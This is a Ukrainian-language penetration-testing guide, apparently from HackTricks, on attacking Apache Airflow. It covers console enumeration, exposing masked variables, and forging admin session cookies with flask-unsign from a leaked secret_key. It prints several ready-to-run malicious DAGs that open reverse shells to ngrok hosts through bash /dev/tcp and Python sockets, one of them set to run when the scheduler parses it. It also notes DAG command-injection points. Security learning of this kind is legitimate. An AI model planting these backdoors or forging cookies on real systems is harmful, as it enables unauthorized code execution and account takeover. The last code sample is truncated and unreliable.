Apache Airflow Security

Підтримайте HackTricks

Основна інформація

Apache Airflow служить платформою для оркестрування та планування потоків даних або робочих процесів. Термін "оркестрування" в контексті потоків даних означає процес організації, координації та управління складними потоками даних, що походять з різних джерел. Основною метою цих оркестрованих потоків даних є надання оброблених та споживаних наборів даних. Ці набори даних широко використовуються безліччю додатків, включаючи, але не обмежуючись, засоби бізнес-аналітики, моделі науки про дані та машинного навчання, які є основою функціонування додатків для великих обсягів даних.

Основна ідея полягає в тому, що Apache Airflow дозволить вам планувати виконання коду, коли щось (подія, cron) відбувається.

Локальна лабораторія

Docker-Compose

Ви можете використовувати файл конфігурації docker-compose з https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml для запуску повноцінного середовища Apache Airflow у контейнері Docker. (Якщо ви використовуєте MacOS, переконайтеся, що виділили принаймні 6 ГБ оперативної пам'яті віртуальній машині Docker).

Minikube

Один з простих способів запустити Apache Airflow - це запустити його за допомогою Minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Налаштування Airflow

Airflow може зберігати чутливу інформацію у своїй конфігурації або ви можете знайти слабкі налаштування:

Airflow Configuration

Airflow RBAC

Перед тим як атакувати Airflow, вам слід зрозуміти як працюють дозволи:

Airflow RBAC

Атаки

Перелік веб-консолі

Якщо у вас є доступ до веб-консолі, ви можете мати можливість отримати доступ до наступної інформації:

  • Змінні (Тут може бути збережена користувацька чутлива інформація)

  • Підключення (Тут може бути збережена користувацька чутлива інформація)

  • Доступ до них за адресою http://<airflow>/connection/list/

  • Конфігурація (Чутлива інформація, така як secret_key та паролі, може бути збережена тут)

  • Перелік користувачів та ролей

  • Код кожного DAG (який може містити цікаву інформацію)

Отримання значень змінних

Змінні можуть бути збережені в Airflow, щоб DAGs могли отримувати їх значення. Це схоже на секрети інших платформ. Якщо у вас є достатньо дозволів, ви можете отримати до них доступ у GUI за адресою http://<airflow>/variable/list/. За замовчуванням Airflow покаже значення змінної у GUI, однак, згідно з цим, можна встановити список змінних, значення яких буде відображатися у вигляді зірочок у GUI.

Однак ці значення все ще можна отримати через CLI (потрібен доступ до БД), виконання довільного DAG, API, звертаючись до кінцевої точки змінних (API повинен бути активований), і навіть сам GUI! Щоб отримати доступ до цих значень з GUI, просто виберіть змінні, до яких ви хочете отримати доступ, і натисніть Дії -> Експорт. Інший спосіб - виконати перебір прихованого значення, використовуючи пошукове фільтрування, поки ви його не отримаєте:

Підвищення привілеїв

Якщо конфігурація expose_config встановлена в True, з ролі Користувач та вище можуть читати конфігурацію у веб-інтерфейсі. У цій конфігурації з'являється secret_key, що означає, що будь-який користувач з цим валідним ключем може створити свій власний підписаний куки для підробки облікового запису будь-якого іншого користувача.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Задній двері DAG (RCE в робочому процесі Airflow)

Якщо у вас є доступ на запис до місця, де зберігаються DAG, ви можете просто створити один, який буде надсилати вам зворотню оболонку. Зверніть увагу, що ця зворотня оболонка буде виконана всередині контейнера робочого процесу Airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Задній двері DAG (RCE в планувальнику Airflow)

Якщо ви встановите щось для виконання в корені коду, на момент написання цього, це буде виконано планувальником через кілька секунд після розміщення його в папці DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Створення DAG

Якщо вам вдасться зламати машину всередині кластера DAG, ви можете створити нові скрипти DAG у папці dags/, і вони будуть репліковані на решті машин всередині кластера DAG.

Впровадження коду DAG

Під час виконання DAG з GUI ви можете передавати аргументи до нього. Отже, якщо DAG не правильно закодований, він може бути уразливим для Впровадження Команд. Так сталося у цьому CVE: https://www.exploit-db.com/exploits/49927

Все, що вам потрібно знати, щоб почати шукати впровадження команд в DAG, це те, що параметри доступні за допомогою коду dag_run.conf.get("param_name").

Більше того, така ж уразливість може виникнути з змінними (зверніть увагу, що з достатньою кількістю привілеїв ви можете контролювати значення змінних в GUI). Змінні доступні за допомогою:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Якщо вони використовуються, наприклад, всередині команди bash, ви можете виконати впровадження команд.

Підтримайте HackTricks

Last updated